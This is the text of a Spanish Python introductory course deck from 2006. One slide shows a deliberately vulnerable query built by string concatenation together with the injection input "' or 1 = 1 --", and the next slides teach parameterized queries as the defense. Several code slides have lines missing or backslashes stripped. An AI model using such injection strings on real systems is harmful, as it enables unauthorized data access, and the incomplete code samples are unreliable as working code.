Eventos intropython

Introducción a Python
Arkaitz Ruiz y Pablo Orduña
arkaitzr@gmail.com
pablo@ordunya.com
Cursillos Julio 2006 E-Ghost
This work is licensed under the Creative Commons Attribution License. To view a copy of this license, visit
http://creativecommons.org/licenses/by/2.0/ or send a letter to Creative Commons, 559 Nathan Abbott Way, Stanford, California 94305,

Sobre el cursillo
 El cursillo está entre los Cursillos de Julio de los grupos
de interés de la Universidad de Deusto
 Cursillos de Julio
 Desde hace varios años, alumnos y alumnas de la Facultad de Ingeniería de la
Universidad de Deusto organizan de manera voluntaria una serie de cursillos que
abarcan diversas áreas de conocimiento
 Cuenta con el apoyo de profesores y de la Facultad de Ingeniería – ESIDE, que
anima e impulsa estas actividades facilitando el uso de aulas informatizadas y demás
recursos para que su realización sea lo mejor posible
 Filosofía de los cursillos
 ¡Compartir conocimiento!
 Ayudar a dar los primeros pasos de una tecnología, lenguaje de programación etc.
 En consecuencia: En un cursillo se abarcan la máxima cantidad de temas en el mínimo
tiempo posible. No es posible profundizar mucho en cada tema, pero sí ver lo
suficiente para que el/la alumno/a pueda seguir aprendiendo por su cuenta, una vez
dados los primeros pasos
 Cursillos introductorios, no exhaustivos
 Más información sobre los Cursillos de Julio
 Este concretamente se da desde el grupo de software libre de la
Universidad (el e-ghost)
© 2006 – Pablo Orduña, Arkaitz Ruiz eghost
– ESIDE – Universidad de Deusto

Material del cursillo
Tanto las transparencias como muchos de
los ejemplos de este cursillo están basados
en las transparencias y ejemplos de
Diego López de Ipiña, los originales están
disponibles en su página web
En los ejemplos hay una carpeta
“tresenraya”, que se fue completando y
refinando durante el cursillo. Muchos
ejemplos están más completos en el
mismo

Contenido
 Introducción a Python
 Programación modular.
 Orientación a objetos
 Bases de Datos
 XML
 GUI
 Aspectos más avanzados de Python

Python
 Python fue creado por Guido van Rossum
(http://www.python.org/~guido/)
 Da este nombre al lenguaje inspirado por
el popular grupo cómico británico Monty
Python
 Guido creó Python durante unas
vacaciones de navidad en las que (al
parecer) se estaba aburriendo

Hola Mundo en Python
#!/usr/bin/env python
print "Hola Mundo" # "Hola Mundo"
print "hola", "mundo" # "hola mundo"
print "Hola" + "Mundo" # "HolaMundo"

Características de Python I
 Muy legible y elegante
 Imposible escribir código ofuscado
 Simple y poderoso
 Minimalista: todo aquello innecesario no hay que
escribirlo (;, {, }, 'n')
 Muy denso: poco código hace mucho
 Soporta objetos y estructuras de datos de alto nivel:
strings, listas, diccionarios, etc.
 Múltiples niveles de organizar código: funciones,
clases, módulos, y paquetes
 Python standard library (
http://www.python.org/doc/current/lib/lib.html) contiene
un sinfín de clases de utilidad
 Si hay áreas que son lentas se pueden reemplazar por
plugins en C o C++, siguiendo la API para extender o
empotrar Python en una aplicación, o a través de
herramientas como SWIG, sip o Pyrex.

Características de Python II
 De scripting
 No tienes que declarar constantes y variables antes de
utilizarlas
 No requiere paso de compilación/linkage
 La primera vez que se ejecuta un script de Python se
compila y genera bytecode que es luego interpretado
 Alta velocidad de desarrollo y buen rendimiento
 Código interoperable (como en Java "write once run
everywhere")
 Se puede utilizar en múltiples plataforma (más aún que
Java)
 Puedes incluso ejecutar Python dentro de una JVM
(Jython) o de un .NET Runtime (IronPython), móviles de
la serie 60 de Nokia... (ver directorio “examples/interpretes”)
 Open source
 Razón por la cual la Python Library sigue creciendo
 De propósito general
 Puedes hacer en Python todo lo que puedes hacer con C# o
Java, o más

Peculiaridades sintácticas
 Python usa tabulación (o espaciado) para
mostrar estructura de bloques
 Tabula una vez para indicar comienzo de bloque
 Des-tabula para indicar el final del bloque
Código en C/Java Código en Python
if x:
if y:
f1()
f2()
if (x) {
if (y) {
f1();
}
f2();
}

Python vs. Java
 Java es un lenguaje de programación muy
completo que ofrece:
 Amplio abanico de tipos de datos
 Soporte para threads
 Tipado estático
 Y mucho más ...
 Python es un lenguaje de scripting:
 No ofrece tipado estático
 Bueno para prototipos pero malo para grandes
sistemas
 Puede cascar en tiempo de ejecución
 Todo lo que puedes hacer con Java también lo
puedes hacer con Python
 Incluso puedes acceder a través de Python a las API de
Java si usas Jython (http://www.jython.org)

¿Para qué [no] es útil?
 Python no es el lenguaje perfecto, no es bueno
para:
 Programación de bajo nivel (system-programming), como
programación de drivers y kernels
 Python es de demasiado alto nivel, no hay control directo
sobre memoria y otras tareas de bajo nivel
 Aplicaciones que requieren alta capacidad de computo
 No hay nada mejor para este tipo de aplicaciones que el viejo
C
 Python es ideal:
 Como lenguaje "pegamento" para combinar varios
componentes juntos
 Para llevar a cabo prototipos de sistema
 Para la elaboración de aplicaciones cliente
 Para desarrollo web y de sistemas distribuidos
 Para el desarrollo de tareas científicas, en los que hay
que simular y prototipar rápidamente

Instalar Python
 Bajar la última versión de Python (2.4) de
http://www.python.org/download/
 Para Windows ejecutar instalador
 Para Linux:
 En Debian Sarge: apt-get install python
 Para Fedora y Mandrake se pueden obtener los rpms
de: http://www.python.org/2.4/rpms.html

Usando Python desde línea de
comando
 Para arrancar el intérprete (Python interactivo) ejecutar:
python@cursillos:~$ python
Python 2.4.3 (#2, Apr 27 2006, 14:43:58)
[GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
Type "help", "copyright", "credits" or "license" for more
information.
>>>
 Un comando simple:
>>> print "Hola Mundo"
Hola Mundo
>>>
 Para salir del intérprete Ctrl-D (en Linux) o Ctrl-Z (en
Windows) o:
>>> import sys
>>> sys.exit()
$

Ejecutando programa
holamundo.py
 Python desde script:
 Guardar las siguientes sentencias en fichero:
holamundo.py
print “Hola mundo!"
 Ejecutar el script desde línea de comando:
$ python helloworld.py
Hola mundo!
$

Sentencias y bloques
 Las sentencias acaban en nueva línea, no en ;
 Los bloques son indicados por tabulación que sigue a una
sentencia acabada en ':'. E.j. (bloque.py):
# comentarios de línea se indican con carácter '#'
name = "Diego1" # asignación de valor a variable
if name == "Diego":
print "Aupa Diego"
else:
print "¿Quién eres?"
print "¡No eres Diego!"
$ python bloque.py
¿Quién eres?
¡No eres Diego!

Identificadores
 Los identificadores sirven para nombrar variables,
funciones y módulos
 Deben empezar con un carácter no numérico y contener
letras, números y '_'
 Python es case sensitive (sensible a la capitalización)
 Palabras reservadas:
 and assert break class continue def del elif else
except exec finally for from global if import in is
lambda not or pass print raise return try while
yield
 Variables y funciones delimitadas por __ corresponden a
símbolos implícitamente definidos:
 __name__ nombre de función
 __doc__ documentación sobre una función
 __init__() constructor de una clase
 __dict__, diccionario utilizado para guardar los atributos de
un objeto

Tipos de datos I
 Numéricos (integer, long integer, floating-point,
and complex)
>>> x = 4
>>> int (x)
4
>>> long(x)
4L
>>> float(x)
4.0
>>> complex (4, .2)
(4+0.2j)

Tipos de datos II
 Strings, delimitados por un par de (', " ,""",''')
 Dos string juntos sin delimitador se unen
>>> print "Hi" "there"
Hithere
 Los códigos de escape se expresan a través de '':
>>>print 'n'
 Raw strings
>>> print r'n' # no se 'escapa' n
 Lo mismo ' que ", p.e. "[foo]" r'[foo]'
 Algunos de los métodos que se pueden aplicar a un string son:
>>> len('La vida es mucho mejor con Python.')
>>> 34
>>> 'La vida es mucho mejor con Python.'.upper()
'LA VIDA ES MUCHO MEJOR CON PYTHON'
>>> "La vida es mucho mejor con Python".find("Python")
27
>>> "La vida es mucho mejor con Python".find('Perl')
-1
>>> 'La vida es mucho mejor con Python'.replace('Python', 'Jython')
'La vida es mucho mejor con Jython'

Tipos de datos III
 El módulo string de la Python library define métodos
para manipulación de strings:
 La mayoría de funciones están deprecadas en favor de
métodos del objeto str
>>> import string
>>> s1 = 'La vida es mejor con Python'
>>> string.find(s1, 'Python')
21
 '%' es el operador de formateo de cadenas:
>>> provincia = 'Araba'
>>> "La capital de %s es %s" % (provincia, "Gasteiz")
'La capital de Araba es Gasteiz'
 Los caracteres de formateo son los mismos que en C, p.e. d, f..

Tipos de datos IV
 Para poder escribir caracteres
con acentos es necesario
introducir la siguiente línea al
comienzo de un programa Python:
 # -*- encoding: utf8 -*-
 Los strings en formato unicode se
declaran precediendo el string de
una ‘u’:
 print u'¿Qué tal estás?'

Tipos de datos V
 Listas []
 Indexadas por un entero comienzan en 0:
>>> meses = ["Enero", "Febrero"]
>>> print meses[0]
Enero
>>> meses.append("Marzo")
>>> print meses
['Enero', 'Febrero', 'Marzo']
 Dos puntos (:) es el operador de rodajas, permite trabajar con
una porción de la lista, el elemento indicado por el segundo
parámetro no se incluye:
>>> print meses[1:2]
['Febrero']
 Más (+) es el operador de concatenación:
>>> print meses+meses
['Enero', 'Febrero', 'Marzo', 'Enero', 'Febrero',
'Marzo']

Tipos de datos VI
 Las listas pueden contener cualquier tipo de objetos Python:
>>> meses.append (meses)
>>> print meses
['Enero', 'Febrero', 'Marzo', ['Enero', 'Febrero', 'Marzo' ]]
>>> meses.append(1)
['Enero', 'Febrero', 'Marzo', ['Enero', 'Febrero', 'Marzo' ], 1]
 Para añadir un elemento a una lista:
>>> items = [4, 6]
>>> items.insert(0, -1)
>>> items
[-1, 4, 6]
 Para usar una lista como una pila, se pueden usar append y pop:
>>> items.append(555)
>>> items [-1, 4, 6, 555]
>>> items.pop()
555
>>> items [-1, 4, 6]

Tipos de datos VII
 Tuplas (), lo mismo que listas, pero no se pueden modificar
python@cursillos:~$ python
Python 2.4.3 (#2, Apr 27 2006, 14:43:58)
[GCC 4.0.3 (Ubuntu 4.0.3-1ubuntu5)] on linux2
Type "help", "copyright", "credits" or "license" for more
information.
>>> mitupla = ('a', 1, "hola")
>>> mitupla[2]
'hola'
>>> dir(mitupla)
['__add__', '__class__', '__contains__', '__delattr__', '__doc__',
'__eq__', '__ge__', '__getattribute__', '__getitem__',
'__getnewargs__', '__getslice__', '__gt__', '__hash__',
'__init__', '__iter__', '__le__', '__len__', '__lt__', '__mul__',
'__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__',
'__rmul__', '__setattr__', '__str__']

Tipos de datos VIII
 Diccionarios {} arrays asociativos o mapas, indexados por una
clave, la cual puede ser cualquier objeto Python, aunque
normalmente es una tupla:
>>> mydict = {"altura" : "media", "habilidad" : "intermedia",
"salario" : 1000 }
>>> print mydict
{'altura': 'media', 'habilidad': 'intermedia', 'salario':
1000}
>>> print mydict["habilidad"]
intermedia
 Puedes comprobar la existencia de una clave en un diccionario
usando has_key:
if mydict.has_key('altura'):
print 'Nodo encontrado'
 Lo mismo se podría hacer:
if 'altura' in mydict:
print 'Nodo encontrado'

Control de flujo: condicionales
 E.j. (condicional.py)
q = 4
h = 5
if q < h :
print "primer test pasado"
elif q == 4:
print “q tiene valor 4”
else:
print "segundo test pasado"
>>> python condicional.py
primer test pasado
 Operadores booleanos: "or," "and," "not"
 Operadores relacionales: ==, >, <, !=

Control de flujo: bucles
 for se utiliza para iterar sobre los miembros
de una secuencia
 Se puede usar sobre cualquier tipo de datos que sea
una secuencia (lista, tupla, diccionario)
 Ej. bucle.py, enumerate.py
for x in range(1,5):
print x
$ python bucle.py
1 2 3 4
 La función range crea una secuencia descrita
por ([start,] end [,step]), donde los
campos start y step son opcionales. Start es
0 y step es 1 por defecto.

Control de flujo: bucles
 while es otra sentencia de repetición. Ejecuta un
bloque de código hasta que una condición es falsa.
 break nos sirve para salir de un bucle
 Por ejemplo:
reply = 'repite'
while reply == 'repite':
print 'Hola'
reply = raw_input('Introduce "repite" para
hacerlo de nuevo: ')
Hola
Introduce "repite" para hacerlo de nuevo: repite
Hola
Introduce "repite" para hacerlo de nuevo: adiós

Funciones
 Una función se declara usando la palabra clave def
# funcionsimple.py
def myfunc(a,b):
sum = a + b
return sum
print myfunc (5,6)
$ python funcionsimple.py
11
 A una función se le pueden asignar parámetros por defecto:
# funcionvaloresdefecto.py
def myfunc(a=4,b=6):
sum = a + b
return sum
print myfunc()
print myfunc(b=8) # a es 4, sobreescribir b a 8
$ python funcion.py
10
12

Funciones
 Listas de argumentos y argumentos basados en palabras clave:
# funcionargumentosvariablesyconclave.py
def testArgLists_1(*args, **kwargs):
print 'args:', args
print 'kwargs:', kwargs
testArgLists_1('aaa', 'bbb', arg1='ccc', arg2='ddd')
def testArgLists_2(arg0, *args, **kwargs):
print 'arg0: "%s"' % arg0
print 'args:', args
print 'kwargs:', kwargs
print '=' * 40
testArgLists_2('un primer argumento', 'aaa', 'bbb', arg1='ccc',
arg2='ddd')
 Visualizaría:
args: ('aaa', 'bbb')
kwargs: {'arg1': 'ccc', 'arg2': 'ddd'}
========================================
arg0: "un primer argumento"
args: ('aaa', 'bbb')
kwargs: {'arg1': 'ccc', 'arg2': 'ddd'}

Clases
 Una clase contiene una colección de
métodos. Cada método contiene como
primer parámetro (self) que hace
referencia a un objeto
 self equivalente a this en C++
 Existe un soporte limitado para variables
privadas mediante name mangling.
 Un identificador __spam es reemplazado por
_classname__spam.
 El identificador es todavía accesible por
_classname__spam.
 En Python se soporta la herencia múltiple

Clases
# clasepinguinos.py
class PenguinPen:
def __init__(self):
self.penguinCount = 0
def add (self, number = 1):
""" Add penguins to the pen. The default number is 1 """
self.penguinCount = self.penguinCount + number
def remove (self, number = 1):
""" Remove one or more penguins from the pen """
self.penguinCount = self.penguinCount - number
def population (self):
""" How many penguins in the pen? """
return self.penguinCount
def __del__(self):
pass
penguinPen = PenguinPen()
penguinPen.add(5) # Tux y su familia
print penguinPen.population()

Más clases
# clasesherencia.py
class Basic:
def __init__(self, name):
self.name = name
def show(self):
print 'Basic -- name: %s' % self.name
class Special(Basic): # entre paréntesis la clase base
def __init__(self, name, edible):
Basic.__init__(self, name) # se usa Basic para referir a
self.upper = name.upper() # clase base
self.edible = edible
def show(self):
Basic.show(self)
print 'Special -- upper name: %s.' % self.upper,
if self.edible:
print "It's edible."
else:
print "It's not edible."
def edible(self):
return self.edible

Probando clases
obj1 = Basic('Manzana')
obj1.show()
print '=' * 30
obj2 = Special('Naranja', True)
obj2.show()
 Visualizaría:
Basic -- name: Manzana
==============================
Basic -- name: Naranja
Special -- upper name: NARANJA. It's edible.

Excepciones
 Cada vez que un error ocurre se lanza una excepción,
visualizándose un extracto de la pila del sistema. E.j.
excepcion.py:
#!/usr/bin/python
print a
$ python exception.py
Traceback (innermost last): File "exception.py", line 2, in
? print a NameError: a
 Para capturar la excepción se usa except:
try:
fh=open("new.txt", "r")
except IOError, e:
print e
$ python excepcion.py
[Errno 2] No such file or directory: 'new.txt'
 Puedes lanzar tu propia excepción usando el comando raise:
raise MyException()
raise SystemExitModules()

Excepciones personalizadas
# excepcionpersonalizada.py
class E(RuntimeError):
def __init__(self, msg):
self.msg = msg
def getMsg(self):
return self.msg
try:
raise E('mi mensaje de error')
except E, obj:
print 'Msg:', obj.getMsg()
 Visualizaría:
Msg: mi mensaje de error

Módulos
 Un módulo es una colección de métodos en un fichero
que acaba en .py. El nombre del fichero determina el
nombre del módulo en la mayoría de los casos.
 E.j. modulo.py:
def one(a):
print "in one"
def two (c):
print "in two"
 Uso de un módulo:
>>> import modulo
>>> dir(modulo) # lista contenidos módulo
['__builtins__', '__doc__', '__file__', '__name__',
'one', 'two']
>>> modulo.one(2)
in one

Módulos II
 import hace que un módulo y su contenido
sean disponibles para su uso.
 Algunas formas de uso son:
import test
 Importa modulo test. Referir a x en test con
"test.x".
from test import x
 Importa x de test. Referir a x en test con "x".
from test import *
 Importa todos los objetos de test. Referir a x en
test con "x".
import test as theTest
 Importa test; lo hace disponible como theTest.
Referir a objecto x como "theTest.x".

Paquetes I
 Un paquete es una manera de organizar un conjunto de
módulos como una unidad. Los paquetes pueden a su
vez contener otros paquetes.
 Para aprender como crear un paquete consideremos el
siguiente contenido de un paquete:
package_example/
package_example/__init__.py
package_example/module1.py
package_example/module2.py
 Y estos serían los contenidos de los ficheros
correspondientes:
# __init__.py
# Exponer definiciones de módulos en este paquete.
from module1 import class1
from module2 import class2

Paquetes II
# module1.py
class class1:
def __init__(self):
self.description = 'class #1'
def show(self):
print self.description
# module2.py
class class2:
def __init__(self):
self.description = 'class #2'
def show(self):
print self.description

Paquetes III
# testpackage.py
import package_example
c1 = package_example.class1()
c1.show()
c2 = package_example.class2()
c2.show()
 Visualizaría:
class #1
class #2
 La localización de los paquetes debe especificarse o
bien a través de la variable de entorno PYTHONPATH o
en código del script mediante sys.path

Manejo de ficheros
 Leer un fichero (leerfichero.py)
fh = open("holamundo.py") # open crea un objeto de tipo fichero
for line in fh.readlines() : # lee todas las líneas en un fichero
print line,
fh.close()
$ python leerfichero.py
#!/usr/bin/python
print "Hola mundo"
 Escribir un fichero (escribirfichero.py)
fh = open("out.txt", "w")
fh.write ("estamos escribiendo ...n")
fh.close()
$ python escribirfichero.py
$ cat out.txt
estamos escribiendo ...

Más sobre print
 print (printredirect.py)
 stdout en Python es sys.stdout, stdin es sys.stdin:
import sys
class PrintRedirect:
def __init__(self, filename):
self.filename = filename
def write(self, msg):
f = file(self.filename, 'a')
f.write(msg)
f.close()
sys.stdout = PrintRedirect('tmp.log')
print 'Log message #1'

Variables globales en Python
 Usar identificador global para referirse a variable global:
# variableglobal.py
NAME = "Manzana"
def show_global():
name = NAME
print '(show_global) nombre: %s' % name
def set_global():
global NAME
NAME = 'Naranja'
name = NAME
print '(set_global) nombre: %s' % name
show_global()
set_global()
show_global()
 Lo cual visualizaría:
(show_global) nombre: Manzana
(set_global) nombre: Naranja
(show_global) nombre: Naranja

Serialización de objetos
 Pickle: Python Object Serialization
 El módulo pickle implementa un algoritmo
para la serialización y deserialización de
objetos Python
 Para serializar una jerarquía de objetos, creas un
Pickler, y luego llamas al método dump(), o
simplemente invocas el método dump() del
módulo pickle
 Para deserializar crear un Unpickler e invocas
su método load() method, o simplemente
invocas el método load() del módulo pickle
 Se serializa el contenido del objeto __dict__ de
la clase, si se quiere cambiar este
comportamiento hay que sobrescribir los
métodos __getstate__() y __setstate__().

Serialización de objetos:
Ejemplo pickle import pickle # pickleunpickle.py
class Alumno:
def __init__(self, dni, nombre, apellido1, apellido2):
self.dni = dni
self.nombre = nombre
self.apellido1 = apellido1
self.apellido2 = apellido2
def __str__(self):
return "DNI: " + self.dni + "ntNombre: " + self.nombre + "ntApellido1: " +
self.apellido1 + "ntApellido2: " + self.apellido2 + "n"
def get_dni(self):
return self.dni
def get_nombre(self):
return self.nombre
def get_apellido1(self):
return self.apellido1
def get_apellido2(self):
return self.apellido2
alum = Alumno("44567832P", "Diego", "Lz. de Ipina", "Gz. de Artaza")
print "Alumno a serializar:n", alum
f = open("Alumno.db", 'w')
pickle.dump(alum, f)
f.close()
f = open("Alumno.db", "r")
alum2 = pickle.load(f)
f.close()
print alum2.get_dni()
print "Alumno leido:n", alum2

Serialización de objetos: Otro
ejemplo más sofisticado
 Revisar ejemplos:
 picklingexample.py
 unpicklingexample.py
 Utilizan los métodos especiales
__setstate__() y __getstate__()

Serialización de objetos
 El módulo shelve define diccionarios
persistentes, las claves tienen que ser strings
mientras que los valores pueden ser cualquier
objeto que se puede serializar con pickle (a
la gdbm)
import shelve
d = shelve.open(filename) # abre un fichero
d[key] = data # guarda un valor bajo key
data = d[key] # lo recupera
del d[key] # lo borra
d.close()

Programación de BD en Python
 Lo que es JDBC en Java es DB API en Python
 Información detallada en: http://www.python.org/topics/database/
 Para conectarnos a una base de datos usamos el método
connect del módulo de base de datos utilizado que devuelve
un objeto de tipo connection
 El objeto connection define el método cursor() que sirve
para recuperar un cursor de la BD
 Otros métodos definidos en connection son close(), commit(),
rollback()
 El objeto cursor define entre otros los siguientes métodos:
 execute() nos permite enviar una sentencia SQL a la BD
 fetchone() recuperar una fila
 fetchall() recuperar todas las filas
 Hay varios módulos que implementan el estándar DB-API:
 DCOracle (http://www.zope.org/Products/DCOracle/) creado por
Zope
 MySQLdb (http://sourceforge.net/projects/mysql-python)
 MySQL-python.exe-1.2.0.win32-py2.4.zip para Windows
 MySQL-python-1.2.0.tar.gz para Linux
 apt-get install python2.4-mysqldb
 Etc.

 La base de datos open source más popular
 Desarrollada por MySQL AB, compañía sueca cuyo
negocio se basa en labores de consultoría sobre MySQL
 http://www.mysql.com
 Diseñada para:
 Desarrollo de aplicaciones críticas
 Sistemas con altos requerimientos de carga
 Ser embebida en software
 Existen otras buenas alternativas open source como
PostGreSQL (http://www.postgresql.org/)

Instalación MySQL
 En la siguiente URL se pueden obtener
RPMs y ejecutables para instalar la última
versión de producción de MySQL (5.0)
tanto en Linux como Windows:
 http://dev.mysql.com/downloads/mysql/5.0.
html
 En GNU/Linux está disponible a través
repositorios

Ejemplo programación BD en
Python con MySQL I
 Creamos una base de datos de nombre deusto a la que podemos hacer
login con usuario deusto y password deusto, a través del siguiente
SQL:
CREATE DATABASE deusto;
GRANT ALTER, SELECT,INSERT,UPDATE,DELETE,CREATE,DROP
ON deusto.*
TO deusto@'%'
IDENTIFIED BY 'deusto';
GRANT ALTER, SELECT,INSERT,UPDATE,DELETE,CREATE,DROP
ON deusto.*
TO deusto@localhost
IDENTIFIED BY 'deusto';
use deusto;
CREATE TABLE EVENTOS(ID int(11) NOT NULL PRIMARY KEY,
NOMBRE VARCHAR(250), LOCALIZACION VARCHAR(250), FECHA bigint(20), DESCRIPCION
VARCHAR(250));
INSERT INTO EVENTOS VALUES (0, 'SEMANA ESIDE', 'ESIDE-DEUSTO', 0, 'Charla sobre
Python');

Python con MySQL II
# db/accesodbeventosMySQL.py
import MySQLdb, time, _mysql, _mysql_exceptions
def executeSQLCommand(cursor, command):
rowSet = []
command = command.strip()
if len(command):
try:
cursor.execute(command) # Ejecuta el comando
if command.lower().startswith('select'): # si es select
lines = cursor.fetchall() # recuperar todos los resultados
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except _mysql_exceptions.ProgrammingError, e:
print e
sys.exit()
return rowSet

Python con MySQL III
if __name__ == '__main__':
db=MySQLdb.connect(host="localhost",user="deusto",
passwd="deusto", db="deusto")
cursor = db.cursor()
executeSQLCommand(cursor, "update eventos set fecha=" + str(time.time()*1000))
rowSet = executeSQLCommand(cursor, "select * from eventos")
for row in rowSet:
print row
del cursor
 Visualizando lo siguiente:
$ python accesodbeventosMySQL.py
[0, 'Cursillos de Julio', 'ESIDE-DEUSTO', 1, 'Cursillo Python']
[1, 'Otro evento', 'Otro lugar', 1, 'Curso ...']

SQLite
 SQLite es una base de datos Open
Source minimalista
 No tiene ningún demonio por detrás: se
almacenan los datos en un único fichero
 Es realmente pequeña: no exige casi
recursos, no tiene dependencias
 Funcionalidad muy limitada en
comparación con otras BD
 Multiplataforma
 Utilizada por aplicaciones de escritorio
 http://www.sqlite.org/

Python con SQLite I
# db/accesodbeventosSQLite.py
import sqlite, time, sys
rowSet = []
if len(command):
try:
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except sqlite.ProgrammingError, e:
print e
sys.exit()
return rowSet

Python con SQLite II
if __name__ == '__main__':
db=sqlite.connect(db="deusto") #”deusto” será el nombre del fichero
for row in rowSet:
print row
del cursor
$ python accesodbeventosSQLite.py

Python DB API I
 ¡Pero si es lo mismo!
 Sí:
 los diferentes módulos de bases de datos
implementan la Python Database API
Specification
 http://www.python.org/dev/peps/pep-0249/
 Los módulos (sqlite, MySQLdb...)
cumplen el interfaz (método connect,
cursores, excepciones...)

Python DB API II
 El método connect recibirá diferentes
parámetros en función de la BD concreta
 En SQLite no tiene sentido host, user ni
password, por ejemplo
 Como recibe *args, no es problema
ponerlos, el módulo sqlite ignorará los
que no le interese

Utilizando DBI - I
# db/accesodbeventosDBI.py
#Una de las dos siguientes:
import sqlite as dbi
#import MySQLdb as dbi
import time, sys
rowSet = []
if len(command):
try:
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
except dbi.ProgrammingError, e:
print e
sys.exit()
return rowSet

Utilizando DBI - II
if __name__ == '__main__':
db=dbi.connect(host=”localhost”,user=”deusto”,passwd=”deusto”,db="deusto")
for row in rowSet:
print row
del cursor
$ python accesodbeventosDBI.py

Otro ejemplo de DBI - I
# db/accesodbeventosDBIParametros.py
import time, sys
rowSet = []
if len(command):
try:
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
print e
sys.exit()
return rowSetmer

Otro ejemplo de DBI - II
if __name__ == '__main__':
if len(sys.argv) != 2:
print >> sys.stderr, "Usage: python %s LOCALIZACION" % sys.argv[0]
sys.exit(1)
rowSet = executeSQLCommand(cursor, "select * from EVENTOS where LOCALIZACION =
'"+sys.argv[1]+"'")
for row in rowSet:
print row
del cursor
$ python accesodbeventosDBIParametros.py ESIDE-DEUSTO

Otro ejemplo de DBI - III
Pero... ¿y la seguridad?
Si ponemos:
$ python accesodbeventosDBIParametros.py "loquesea' or 1 = 1 --"
Si lo usamos así en Web, por ejemplo,
podemos tener problemas de seguridad
Necesitamos comprobar que los
parámetros están bien

Evitando inyección de SQL
 Para evitar SQL Injection, en DBI
pasaremos los parámetros a la sentencia
execute:
 dbi.paramstyle nos indica el tipo de
parámetros
 pyformat (funciona en MySQL y SQLite)
 execute(“SELECT * FROM EVENTOS WHERE LOCALIZACION = %s”,param)
 qmark
 execute(“SELECT * FROM EVENTOS WHERE LOCALIZACION = ?”,param)
 ... (mirar documentación)

Ejemplo con parámetros - I
# db/accesodbeventosDBIParametros.py
import time, sys
def executeSQLCommand(cursor, command,*args):
rowSet = []
if len(command):
try:
cursor.execute(command,*args) # Ejecuta el comando
for line in lines:
row = []
for column in line:
row.append(column)
rowSet.append(row)
print e
sys.exit()
return rowSetmera parte igual.

Ejemplo con parámetros - II
if __name__ == '__main__':
print >> sys.stderr, "Usage: python %s LOCALIZACION" % sys.argv[0]
sys.exit(1)
rowSet = executeSQLCommand(cursor, "select * from EVENTOS where LOCALIZACION =
%s",sys.argv[1])
for row in rowSet:
print row
del cursor

Programación de sistemas
 Python permite la programación de sistema tanto
accediendo a la API de Windows (
http://www.python.org/windows/index.html) como a las
llamadas al sistema de UNIX (módulo os)
 El módulo os nos da acceso a:
 El entorno del proceso: getcwd(), getgid(), getpid()
 Creación de ficheros y descriptores: close(), dup(),
dup2(), fstat(), open(), pipe(), stat(), socket()
 Gestión de procesos: execle(), execv(), kill(), fork(),
system()
 Gestión de memoria mmap()
 En la documentación del módulo viene la disponibilidad de
la función en diferentes sistemas
 El módulo thread y threading permite la creación de
threads en Python

Gestión de Hilos - I
 Lanzando hilos con thread:
import thread
def f(nombre):
print “hola mundo desde otro hilo, %s” % nombre
numero = thread.start_new_thread(f,('hola',)) #funcion, tupla con
argumentos
#automáticamente se habrá lanzado
 Más tarde nació el módulo threading
con una gestión de más alto nivel

Gestión de Hilos - II
 threading
 Más similar a Java
 Incluye mejores sistemas de
sincronización
from threading import *
class MiHilo(Thread):
def __init__(self,nombre):
Thread.__init__(self)
def run(self):
print “Hola %s”,self.nombre
m = MiHilo(“gente”)
m.start()

Gestión de Hilos - III
 Sincronización básica en threading
l = threading.Lock()
l.acquire()
#Cuando un hilo entra en acquire(), el resto de hilos que llamen al
acquire del
#mismo lock se quedan bloqueados, hasta que alguien llame a release
l.release()
(threading/ejemplo-sincronizacion.py)
 dir(threading): Lock, Condition,
Event, Semaphore...

¿Por qué usar XML?
 Un documento XML puede ser
fácilmente procesado y sus datos
manipulados
 Existen APIs para procesar esos
documentos en Java, C, C++, Perl.. (y
por supuesto Python)
 XML define datos portables al igual que
Java define código portable

Componentes documento XML
 Los documentos XML constan de:
 Instrucciones de procesamiento
(processing instructions – PI)
 Declaraciones de tipo de documento
 Comentarios
 Elementos
 Referencias a entidades
 Secciones CDATA

Ejemplo Documento XML
<?xml version="1.0"?>
<!DOCTYPE mensaje SYSTEM “labgroups.dtd">
<lab_group>
<student_name dni=“44670523">
Josu Artaza
</student_name>
<student_name dni=“44543211">
Nuria Buruaga
</student_name>
<student_name dni=“23554521" tutor=“33456211">
Inga Dorsman
</student_name>
</lab_group>

XML Parsing
Documento
XML
XML DTD
XML Schema
Parser XML
Aplicación
XML

XML Parsing (cont)
 SAX
 Define interfaz dirigido por eventos (event-driven
) para el procesamiento de un
documento XML
 Definido por David Megginson y lista
correo XML-DEV : http://
www.megginson.com/SAX
 DOM
 Provee una representación de un
documento XML en forma de un árbol
 Carga todo el documento XML en memoria
 http://www.w3.org/DOM

Simple API for XML: SAX
 Define un interfaz común
implementado por muchos XML Parsers
 Es el estándar de-facto para
procesamiento de XML basado en
eventos
 SAX no es un parseador de XML
 SAX2 añade soporte para XML
Namespaces
 La especificación de SAX 2.0/Java está
en:
http://
www.megginson.com/SAX/Java/index.html

Características de SAX
 Analizador o parser SAX:
 Detecta cuándo empieza y termina un elemento o el
documento, o un conjunto de caracteres, etc.
(genera eventos)
 Gestiona los espacios de nombres
 Comprueba que el documento está bien formado
 Las aplicaciones necesitan implementar
manejadores de los eventos notificados
 SAX lee secuencialmente de principio a fin,
sin cargar todo el documento en memoria
 Ventaja: eficiencia en cuanto al tiempo y la
memoria empleados en el análisis
 Desventaja: no disponemos de la estructura
en árbol de los documentos

¿Cómo funciona SAX?
XML Document
<?xml version=“1.0”?>
<addressbook>
<person>
<name>Diego Ipiña</name>
<email>dipina@deusto.es</email>
</person>
<person>
<name>Asier Perallos</name>
<email>perallos@deusto.es</email>
</person>
</addressbook>
SAX Objects
Parser startDocument
Parser startElement
Parser startElement & characters
Parser endElement
Parser startElement
Parser endElement
Parser endElement & endDocument

Programación en XML con SAX
 Soporte para SAX en Python es ofrecido por el
módulo xml.sax de la Python Library
 Define 2 métodos:
 make_parser([parser_list])
